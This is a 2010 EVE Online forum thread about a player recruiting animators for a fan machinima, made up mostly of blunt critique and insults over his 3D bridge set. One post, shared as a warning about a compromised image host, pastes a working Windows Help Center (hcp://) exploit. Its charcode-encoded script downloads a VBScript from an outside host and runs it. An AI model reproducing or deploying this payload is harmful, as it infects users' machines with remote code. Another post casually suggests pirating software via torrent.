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Merin Ryskin
Peregrine Industries
Posted - 2010.08.03 01:34:00 - [31]
 

Originally by: Joe Phoenix
Ok merin if you REALLY want me to, i will post updates tommorow.



Awesome. I look forward to finding out whether you:

1) Desperately throw something together tonight and hope that another un-detailed skeleton of a HL2 map is enough to convince everyone that your "project" is more than just a fraud.

OR

2) Abandon this thread, pretend none of this ever happened, and then eventually post another thread begging for the same help with the same lack of evidence that your "project" is more than just a bunch of empty promises.

Gladys Pank
Amarr
Trillionaire High-Rollers Suicidal Bassoon Orkesta
Posted - 2010.08.03 06:58:00 - [32]
 

Merin why don't you cck off and let Joe get some constructive assistance with his project. I bet he killed you sometime and you are just butthurt.

Joe, I saw your screenies when you posted them in C&P and I am looking forwards to seeing what you can produce. Even a solo project would be entirely possible if you worked on a shorter project. Episodic content would be an ideal way of getting something completed.

I wish you the best of luck.

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.03 15:17:00 - [33]
 

We have currently got 8 people working on the movie (not including myself). 4 of these people are actors the other 4 are dedicated to construction and animation, so the project is looking very good right now :)

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.03 21:41:00 - [34]
 

updated pictures have been uploaded.

As you can see the set is far from finished and it is only one of dozens under construction.

The bridge is still missing lights, screens, control panels, holographic emitters etc.

Syn Callibri
Minmatar
21st Eridani Lighthorse
Posted - 2010.08.03 21:52:00 - [35]
 

Edited by: Syn Callibri on 03/08/2010 21:52:56
Originally by: Joe Phoenix
Edited by: Joe Phoenix on 03/08/2010 21:42:38
Edited by: Joe Phoenix on 27/07/2010 23:37:43
Hi there.

I've come here today to look for gmod animators (no duh) to help produce a feature length movie with our alliance(think clear skies but ten times better). We have started creating all of the sets/props etc but we are having a problem with the charector animation. We have a fue people who can animate to a good level of quality (no noobs with a phys-gun kinda thing) but at the rate we're going right now we will be finished in 2089.

If you are interested in helping us out please contact me. you'll get your name in the credits of what it hopefully going to be a very big movie.

these are a couple of picture take on set (the bridge of a rokh battleship).

http://img822.imageshack.us/i/bridgeupdate.jpg/

http://img695.imageshack.us/i/bridgeupdate2.jpg/

http://img814.imageshack.us/i/bridgeupdate3.jpg/

Hope you decide to help. Cool


Ummm...wheres the pod or is this a pirate? Neutral


Merin Ryskin
Peregrine Industries
Posted - 2010.08.03 22:31:00 - [36]
 

Clearly you picked option #1: spend another 15 minutes throwing together more garbage that a 10 year old could do in 5 minutes.

But since I'm a nice person, I'll even give you some constructive criticism:


1) Everything is way too blocky. Seriously, look at the bridge of a real warship, it's going to take a hell of a lot more than 100 polygons to model it. For example, the control panels would not just be a solid block running the entire length of the bridge, it would be broken up into sections. Even Clear Skies had way better detail than yours, and you're claiming you're going to do 10x better.

For example, THIS would be a minimum standard of detail, while if you really think you are going to do 10x better than Clear Skies, you need to be aiming for something more like THIS.


2) Your textures SUCK. Seriously, never use tiled textures like that, it just screams "I'm a clueless newbie who doesn't know what he's doing". Likewise, never use the same generic texture on different surfaces, why would the stairs look the same as the control panel? All of your textures need to be custom-drawn specifically for each object. Yes, it takes a lot more time than just "borrowing" a couple generic scifi images and throwing them on everything, but that's what you'll need to do if you want to make something "10x better than Clear Skies".



3) You've still shown absolutely nothing impressive. The tiny little problem you're forgetting is that Clear Skies was awesome because of the plot/acting/etc, not because of the polycount of their bridge models. Adding a few more detail objects to a single bridge model is not going to convince anyone that you have even a remote chance of doing something half as good as Clear Skies. And you sure as hell aren't going to get anyone to think "wow, now I really want to spend countless hours of my time helping this guy" because you spent another 15 minutes on your bridge model.



If you're actually serious about this "project", my advice is to do three things:



1) Drop the delusion of being 10x better than Clear Skies. Nothing you have shown suggests that you can even match Clear Skies in quality, so bragging that you're going to do 10x better is the kind of arrogance that convinces people never to even think about helping you.


2) Drop the expectation of "no noobs with a phys-gun kinda thing". Because, honestly, YOU are a complete noob at this. My comparisons to a 10 year old with a map editor are only slightly exaggerated, your work is newbie-level at best. If you lower your expectations to a realistic level and look for other newbies to learn with as you make your movie (and admit that you have a lot of learning to do), you might actually get some interest. However, posting newbie-level work and arrogantly demanding only the best animators to help you is an easy way to ensure that you never get any help.


3) Put some actual effort into your recruitment post. Forget about "I'll post updates tomorrow", spend the next six months working on your project before you attempt to recruit anyone. And don't just make a few models, make an entire test scene so that people can judge your writing quality/etc.






Of course I think it's a safe bet that, like 95% of people who make "plz halp me" posts like yours, you will completely ignore my advice and then whine more and more desperately for help until you finally decide that it's too much work and give up your project before finishing even a single scene. However, maybe someone else will learn something from my posts, and perhaps find the help they need for a project that actually has a chance of success.

Gladys Pank
Amarr
Trillionaire High-Rollers Suicidal Bassoon Orkesta
Posted - 2010.08.03 22:51:00 - [37]
 

Originally by: Merin Ryskin
my advice is


MY advice is to STFU.

Why have you got a problem with Joe so bad?

Why do you feel so threatened by a work in progress?

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.03 23:01:00 - [38]
 

Originally by: Merin Ryskin
Clearly you picked option #1: spend another 15 minutes throwing together more garbage that a 10 year old could do in 5 minutes.

But since I'm a ****, I'll even give you some constructive criticism:


1) Everything is way too blocky. Seriously, look at the bridge of a real warship, it's going to take a hell of a lot more than 100 polygons to model it. For example, the control panels would not just be a solid block running the entire length of the bridge, it would be broken up into sections. Even Clear Skies had way better detail than yours, and you're claiming you're going to do 10x better.




Funny i remember saying that none of the control panels or modules where fitted? oh yes so i did.

Merin Ryskin
Peregrine Industries
Posted - 2010.08.03 23:12:00 - [39]
 

Originally by: Gladys Pank
Why do you feel so threatened by a work in progress?


Do you ever have anything constructive to offer, or do you just enjoy posting to hear yourself talk?



PS: I'm not threatened, and I don't really care whose name is on the thread, I'm just correcting yet another arrogant and lazy whiner who comes begging to the forums with a story of how awesome his idea is, if only he could find someone else to do 99% of the real work (for free, of course).



Originally by: Joe Phoenix
Funny i remember saying that none of the control panels or modules where fitted? oh yes so i did.



Hint to the illiterate and clueless: read what I posted, and look at the links. I'm talking about the blocky mess that you're going to mount the control panels on, it doesn't matter if the control panels themselves are awesome (of course, judging by the quality of the rest of the bridge, they won't be) when everything behind them is ugly as hell.

Look at the "desk" thingy in the second link (not the detailed control panels, just the surface they're mounted on), then look at yours. See a difference between the two?

Slade Trillgon
Endless Possibilities Inc.
Posted - 2010.08.03 23:17:00 - [40]
 

Originally by: Merin Ryskin



3) You've still shown absolutely nothing impressive. The tiny little problem you're forgetting is that Clear Skies was awesome because of the plot/acting/etc, not because of the polycount of their bridge models.


If Clear Skies was awesome becuase of the acting then why such the hard on about this guys graphics?

That is a redundant question becuase I know how you like to ride posters Merin, but seriously are you one of the alts that made Clear Skies? I mean I thought it would take more then this thread to get you to come out from under your bridge. I thought it wold take nothing short of Shining showing back up for you to start posting here again.


Slade

Merin Ryskin
Peregrine Industries
Posted - 2010.08.03 23:41:00 - [41]
 

Edited by: Merin Ryskin on 03/08/2010 23:47:27
Originally by: Slade Trillgon
Originally by: Merin Ryskin



3) You've still shown absolutely nothing impressive. The tiny little problem you're forgetting is that Clear Skies was awesome because of the plot/acting/etc, not because of the polycount of their bridge models.


If Clear Skies was awesome becuase of the acting then why such the hard on about this guys graphics?



Three reasons:

1) Clear Skies at least had decent graphics, especially considering the limits of the HL2 engine. Joe, on the other hand, doesn't even come close yet. I said that quoted bit mostly to point out that Joe is focusing on the wrong aspect of his project if he wants to convince people to help him.


2) He's claiming to be 10x better than Clear Skies, which means it is entirely fair to judge him by that claim and expect amazing graphics.


3) The awful quality says something very important: he isn't willing to put any effort into it. Seriously, this is probably the most important point here. If you're going to be asking for free help from other people (especially if you're going to demand "no noobs allowed"), you'd better demonstrate that you're willing to put in a lot of effort of your own. By posting screenshots that look like about 15 minutes worth of work at best, Joe is stating that he isn't willing to do this.



If Joe was posting a finished movie with that bridge, I wouldn't be nearly as harsh. But, if he's going to make a bunch of arrogant statements about his work and then demand free help, I'm absolutely going to point out the fact that he's a lazy whiner who doesn't deserve anything.

Miriam Letisse
Posted - 2010.08.04 01:21:00 - [42]
 

Woah Merin! There's playful criticism and then there's snide, spiteful and downright *****iness.. no one knows whether it will turn out better than Clear Skies or not but you could at least wait and see rather than jumping down his throat. Slade made a good point too, most people agree that it was the script and voice acting that made Clear Skies great, so why all the foul words on set design?

And I've played Half-Life, Joe. Razz

Reiisha
Veto Corp
Posted - 2010.08.04 08:58:00 - [43]
 

Originally by: Joe Phoenix
updated pictures have been uploaded.

As you can see the set is far from finished and it is only one of dozens under construction.

The bridge is still missing lights, screens, control panels, holographic emitters etc.


Added some more bsp with random textures, and copied the same chair to a few random places. Still not impressed.

Finish the bridge. Show us the finished product. Never, ever show "work in progress" unless it's 99% complete, especially where machinima is involved. The bridge still looks like something i can whip up in a few minutes in Duke3D. I can actually do it in Shadow Warrior and make the chairs with voxels.

AlleyKat
Gallente
The Unwanted.
Posted - 2010.08.04 09:55:00 - [44]
 

Joe,

I've sent you two evemails - are you getting these?

Regards,

AK

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.04 16:11:00 - [45]
 

Originally by: Reiisha
Originally by: Joe Phoenix
updated pictures have been uploaded.

As you can see the set is far from finished and it is only one of dozens under construction.

The bridge is still missing lights, screens, control panels, holographic emitters etc.


Added some more bsp with random textures, and copied the same chair to a few random places. Still not impressed.

Finish the bridge. Show us the finished product. Never, ever show "work in progress" unless it's 99% complete, especially where machinima is involved. The bridge still looks like something i can whip up in a few minutes in Duke3D. I can actually do it in Shadow Warrior and make the chairs with voxels.



If it was a finished project, i wouldn't be recruiting people to help.

Gneeznow
Minmatar
Ship spinners inc
Posted - 2010.08.04 17:04:00 - [46]
 

*some guy posts a thread saying he's going to try and make a video*

*neckbeard shows up with walls of angst ridden text for no reason at all*

I dont get it

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.04 18:18:00 - [47]
 

Originally by: Gneeznow
*some guy posts a thread saying he's going to try and make a video*

*neckbeard shows up with walls of angst ridden text for no reason at all*

I dont get it


Im a little more then just "some guy" Cool

Khors
El Barco Pirata
Posted - 2010.08.04 21:00:00 - [48]
 

Keep it coming, looking forward to the end result.

Barakkus
Posted - 2010.08.04 22:24:00 - [49]
 

Edited by: Barakkus on 04/08/2010 22:25:06
Not to be a bummer, but I think imageshack is infected with a malicious cross-site scripting dealie atm, either that or one of their ads is...tried to look at bridgeupdate3, and ended up with this popping up:

hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=
<script defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,
32,66,61,34,104,104,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,
79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,
46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,104,104,
121,121,114,46,99,111,109,47,113,110,47,104,104,46,118,98,115,34,44,102,97,
108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,
101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,
46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,
116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,
46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,
32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,
101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,
46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,
99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,
83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,
32,66,32,62,32,37,84,69,77,80,37,92,104,104,46,118,98,115,32,38,38,32,37,84,69,77,80,
37,92,104,104,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,
32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</script>

Merin Ryskin
Peregrine Industries
Posted - 2010.08.04 23:00:00 - [50]
 

Originally by: Joe Phoenix
Originally by: Reiisha
Originally by: Joe Phoenix
updated pictures have been uploaded.

As you can see the set is far from finished and it is only one of dozens under construction.

The bridge is still missing lights, screens, control panels, holographic emitters etc.


Added some more bsp with random textures, and copied the same chair to a few random places. Still not impressed.

Finish the bridge. Show us the finished product. Never, ever show "work in progress" unless it's 99% complete, especially where machinima is involved. The bridge still looks like something i can whip up in a few minutes in Duke3D. I can actually do it in Shadow Warrior and make the chairs with voxels.



If it was a finished project, i wouldn't be recruiting people to help.



Apparently you're too illiterate to tell the difference between "finish the bridge" and "finish the entire movie". Either that or you're so hopelessly lazy that you can't even finish a simple bridge without recruiting people to help?


Finishing even a basic thing like your bridge model is a sign that YOU are willing to do some work. On the other hand, posting laughable WIP shots as your recruitment effort shows that you don't really care enough about your own project to bother presenting a good image to the people you are trying to recruit.


Of course even better than finishing the bridge would be doing an entire 1-2 minute scene. Not only would this demonstrate that you're actually investing some effort of your own, it would give you a chance to show off your writing/acting/etc skills (that is, if you actually have any, which I seriously doubt). With a complete preview like that, you might even get someone to volunteer to help you.

Barakkus
Posted - 2010.08.04 23:14:00 - [51]
 

Originally by: Merin Ryskin
1) Everything is way too blocky. Seriously, look at the bridge of a real warship, it's going to take a hell of a lot more than 100 polygons to model it. For example, the control panels would not just be a solid block running the entire length of the bridge, it would be broken up into sections. Even Clear Skies had way better detail than yours, and you're claiming you're going to do 10x better.


You obviously haven't done much in the way of work in a 3d engine have you?

You don't make billion polygon models for the surrounding area, you make large blocks you anchor details to later, usually flat bitmaps that have the appearance of being "3d". Cutting up what he has now into tons of little polygons is going to be more resource intensive than necessary. Layering less complicated polygons is more efficient that breaking up large areas like his "control" panel into smaller "objects" with higher poly count. Regardless if you see it or not, the engine still has to render all the polygons.

Merin Ryskin
Peregrine Industries
Posted - 2010.08.04 23:24:00 - [52]
 

Edited by: Merin Ryskin on 04/08/2010 23:26:14
Originally by: Barakkus
You obviously haven't done much in the way of work in a 3d engine have you?


Not much for game engines, but I've done enough 3d modeling to know what I'm talking about.

Quote:
You don't make billion polygon models for the surrounding area, you make large blocks you anchor details to later, usually flat bitmaps that have the appearance of being "3d". Cutting up what he has now into tons of little polygons is going to be more resource intensive than necessary. Layering less complicated polygons is more efficient that breaking up large areas like his "control" panel into smaller "objects" with higher poly count. Regardless if you see it or not, the engine still has to render all the polygons.



Sorry, but no. The issue is not the polygon count (you can easily do an interesting and detailed surface with poly counts that are reasonable for a game engine), it's the fact that his entire structure is a featureless block. No amount of sticking details on top of it can conceal the fact that the basic structure is just a block.

Just for one trivial example, where do the legs go? There should be a space under the control panels, but Joe has completely ignored this problem. And no, it's not something you can fix just by sticking on a fancy bitmap, since they have to be cut into the surface.

Barakkus
Posted - 2010.08.05 00:43:00 - [53]
 

Edited by: Barakkus on 05/08/2010 00:46:34
Originally by: Merin Ryskin

Just for one trivial example, where do the legs go? There should be a space under the control panels, but Joe has completely ignored this problem. And no, it's not something you can fix just by sticking on a fancy bitmap, since they have to be cut into the surface.


That's exactly right, he's going to need to cut some stuff here and there depending on what he wants, but he doesn't need to start out with a billion polygons. Creating a scene in a 3d engine is a lot of deception as well. And yes layering on stuff later is what he's going to need to do.

I don't particularly care for joe, or think this is going anywhere but he's on the right track so far starting out his modeling of his "bridge".

Word of advice joe, you might consider working in something like this:

http://www.conitec.com/english/gstudio/

I've done quite a bit with an MMO I wanted to make 8 years ago, it's fairly easy to use and you can import any 3d stuido max, bryce or directx model into the engine. The scripting language is pretty easy to pick up too, and best of all, you can use the free version :)
edit: their "free" version may be the trial, the "free" version I used to use was basically the full thing, but it would compile banners into the executable that would show when you started it advertising the engine...might still be that way, if not just find yourself a torrent :P

Good luck on your project.

Merin Ryskin
Peregrine Industries
Posted - 2010.08.05 02:07:00 - [54]
 

Originally by: Barakkus
That's exactly right, he's going to need to cut some stuff here and there depending on what he wants, but he doesn't need to start out with a billion polygons. Creating a scene in a 3d engine is a lot of deception as well. And yes layering on stuff later is what he's going to need to do.


The problem is either:

1) What he's got now is the first rough blocking-in, which isn't even close to something you'd want to show off in public, or something that will last more than a few minutes before you start cutting those details.

OR

2) He's got a horrible base to start with, and no matter how much he tries to layer on top of it, it's still going to be painfully obvious that the starting point was awful.



And just to demonstrate my point about how pathetic a start we're talking about, I did the following bridge based roughly off his layout in less than an hour. While it's still not something I'd consider even close to a final project (which I'd spend weeks or more on), it's a hell of a lot better start than what Joe has posted. Therefore we must conclude that the "work" he's showing to convince everyone to help him out represents a trivial amount of effort from him.


Image 1

Image 2

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.05 21:19:00 - [55]
 

Please merin for the love of god stop posting.

Slade Trillgon
Endless Possibilities Inc.
Posted - 2010.08.05 21:52:00 - [56]
 

Edited by: Slade Trillgon on 05/08/2010 21:52:17
Originally by: Joe Phoenix
Please merin for the love of god stop posting.


You are not familiar with Merin I see Laughing

I do hope that this project sees fruition though. I would love to see another EVE related movie.

Slade

Merin Ryskin
Peregrine Industries
Posted - 2010.08.05 22:17:00 - [57]
 

Edited by: Merin Ryskin on 05/08/2010 22:17:23
Originally by: Joe Phoenix
Please merin for the love of god stop humiliating me and making it obvious to everyone what a hopeless failure my project is, i want to keep my happy delusions of being someone important.


Fixed your post.


Also, no. Even if you weren't the worst CEO in EVE, you're a very good example to everyone who reads this thread of how NOT to make an EVE movie, and therefore far too useful to ignore.

Joe Phoenix
The Commonwealth Federation
Posted - 2010.08.05 22:44:00 - [58]
 

Originally by: Merin Ryskin
Edited by: Merin Ryskin on 05/08/2010 22:17:23
Originally by: Joe Phoenix
Please merin for the love of god stop humiliating me and making it obvious to everyone what a hopeless failure my project is, i want to keep my happy delusions of being someone important.


Fixed your post.


Also, no. Even if you weren't the worst CEO in EVE, you're a very good example to everyone who reads this thread of how NOT to make an EVE movie, and therefore far too useful to ignore.


OH NO! MY FEELINGS! YOU CRUSHED THEM!! THE PAIN!!!! THE PAIN!!!

Seriously merin, stop trying to be the next cayne, your just making yourself look like an even larger *****.

Creepy CousinRoger
Posted - 2010.08.06 10:52:00 - [59]
 

Originally by: Joe Phoenix
the next cayne


You realize you're the only one obsessed with this person, right?

let me guess, the antagonist in your work is based on him isn't it?

Barakkus
Posted - 2010.08.06 13:12:00 - [60]
 

Originally by: Creepy CousinRoger
Originally by: Joe Phoenix
the next cayne


You realize you're the only one obsessed with this person, right?

let me guess, the antagonist in your work is based on him isn't it?


Joe = Zed


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